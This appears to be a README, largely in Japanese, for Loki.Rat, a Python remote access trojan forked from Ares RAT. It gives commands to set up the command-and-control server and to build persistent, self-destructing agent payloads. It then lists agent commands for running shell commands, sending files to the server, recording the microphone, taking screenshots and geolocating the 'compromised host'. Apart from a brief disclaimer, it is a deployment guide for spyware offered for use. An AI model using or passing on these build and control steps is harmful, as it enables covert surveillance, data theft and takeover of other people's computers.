
Loki.RatはAres RATのフォークであり、録画、ロック画面、位置情報オプションなどの新しいモジュールを統合しています。Loki.RatはPython製のリモートアクセスツールです。
||||||||||||||||||||||||||||||||||||||||||||00000000000||||||||||||||||||||||||||||||||||||||||| (\
||||||||||||||||||||||||||||||||||||||||||||00000000000||||||||||||||||||||||||||||||||||||||||| \\
||||||||||||||||||||||||||||||||||||||||||||00000000000||||||||||||||||||||||||||||||||||||||||| ))
||||||||||||||||||||||||||||||||||||||||||||00000000000||||||||||||||||||||||||||||||||||||||||| //
||||||||||||||||||||||||||||||||||||||||||||00000000000||||||||||||||||||||||||||||||||||||||||| .-. // .-.
||||||||||||||||||||||||||||||||||||||||||||00000000000||||||||||||||||||||||||||||||||||||||||| / 0 \-((=-/ \
|||||||██▓ ▒█████ ██ ▄█▀ ██▓ ██▀███ ▄▄▄ ▄▄▄█████▓ ||||||| \ \\ /
|||||||▓██▒ ▒██▒ ██▒ ██▄█▒ ▓██▒ ▓██ ▒ ██▒ ▒████▄ ▓ ██▒ ▓▒||||||| '( ____))_ )'
|||||||▒██░ ▒██░ ██▒ ▓███▄░ ▒██▒ ▓██ ░▄█ ▒ ▒██ ▀█▄ ▒ ▓██░ ▒░||||||| .-' // '-.
|||||||▒██░ ▒██ ██░ ▓██ █▄ ░██░ ▒██▀▀█▄ ░██▄▄▄▄██ ░ ▓██▓ ░ ||||||| / (( \
|||||||░██████▒ ░ ████▓▒░ ▒██▒ █▄ ░██░ ██▓ ░██▓ ▒██▒ ▓█ ▓██▒ ▒██▒ ░ ||||||| | * |
|||||||░ ▒░▓ ░ ░ ▒░▒░▒░ ▒ ▒▒ ▓▒ ░▓ ▒▓▒ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░ ▒ ░░ ||||||| \ /
|||||||░ ░ ▒ ░ ░ ▒ ▒░ ░ ░▒ ▒░ ▒ ░ ░▒ ░▒ ░ ▒░ ▒ ▒▒ ░ ░ ||||||| \ |_w_| /
|||||||░ ░ ░ ░ ░ ▒ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ▒ ░ ||||||| _) \ ` / (_
|||||||░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ||||||| (((_ _/ \_ _)))
|||||||░ |||||||

Loki.Rat は Ares RAT のフォークであり、録音、ロック画面、位置情報などの新しいモジュールを統合しています。Loki.Rat は Python 製のリモートアクセスツールです。
警告: このソフトウェアは、お住まいの地域の法律に従ってのみ使用してください。このソフトウェアの誤用は、法的・倫理的な問題を引き起こす可能性がありますが、私はそれを支持せず、その責任を負うことはできません。

Loki.Rat は主に2つのプログラムで構成されています:
A Command aNd Control server, which is a Web interface to administer the agents
An agent program, which is run on the compromised host, and ensures communication with the CNC
Web インターフェースは、Python が動作する任意のサーバーで実行できます。エージェント[ペイロード]は、pyinstaller を使用してネイティブ実行可能ファイルにコンパイルできます。
Loki.Rat をインストール
ターミナルウィンドウを開き、次のコマンドを入力してください:
git clone https://github.com/TheGeekHT/Loki.Rat.git
cd Loki.Rat
Python モジュールの要件をインストール:
pip install -r requirements.txt
データベースを初期化:
cd server
./loki.py initdb
Linux 上で Windows エージェントをコンパイルするには、wine をセットアップします(オプション):
./wine_setup.sh
組み込み(デバッグ)サーバーで実行:
./loki.py runserver -h 127.0.0.1 -p 8080 --threaded
または gunicorn を使用して実行:
gunicorn loki:app -b 127.0.0.1:8080 --threads 20
これでサーバーは http://127.0.0.1:8080 でアクセス可能になります。
Python ペイロードを実行します(必要に応じて config.py を更新):
cd payload
./payload.py
スタンドアロンのバイナリに新しいペイロードをビルド:
./builder.py -p Linux --server http://localhost:8080 -o payload
./payload
サポートされているオプションの一覧を確認するには、./builder.py -h を実行してください。
./payload/builder.py -h
usage: builder.py [-h] -p PLATFORM --server SERVER -o OUTPUT
[--hello-interval HELLO_INTERVAL] [--idle_time IDLE_TIME]
[--max_failed_connections MAX_FAILED_CONNECTIONS]
[--persistent]
Builds an Loki.Rat payload
optional arguments:
-h, --help show this help message and exit
-p PLATFORM, --platform PLATFORM
Target platform (Windows, Linux).
--server SERVER Address of the CnC server (e.g http://127.0.0.1:8080).
-o OUTPUT, --output OUTPUT
Output file name.
--hello-interval HELLO_INTERVAL
Delay (in seconds) between each request to the CnC.
--idle_time IDLE_TIME
Inactivity time (in seconds) after which to go idle.
In idle mode, the agent pulls commands less often
(every <hello_interval> seconds).
--max_failed_connections MAX_FAILED_CONNECTIONS
The agent will self destruct if no contact with the
CnC can be made <max_failed_connections> times in a
row.
--persistent Automatically install the agent on first run.
サポートされているペイロードコマンド
<any shell command>
Executes the command in a shell and return its output.
upload <local_file>
Uploads <local_file> to server.
download <url> <destination>
Downloads a file through HTTP(S).
zip <archive_name> <folder>
Creates a zip archive of the folder.
screenshot
Takes a screenshot.
python <command|file>
Runs a Python command or local file.
persist
Installs the agent.
clean
Uninstalls the agent.
exit
Kills the agent.
record
-h, --help show this help message and exit
-t RECORD_SECONDS, --time RECORD_SECONDS
Set a timing in seconds for record. (e.g 10)
-c CHANNELS, --channel CHANNELS
Channel for the microphone (e.g 2).
-ch CHUNK, --chunk CHUNK
Chunk for the microphone (e.g 1024).
-r RATE, --rate RATE Rate (e.g 44100).
lockscreen
lock screen only on windows and Linux with Gnome environnement
Geolocalisation
locate the target machine , and print the Latitude and Longitude
help
This help.
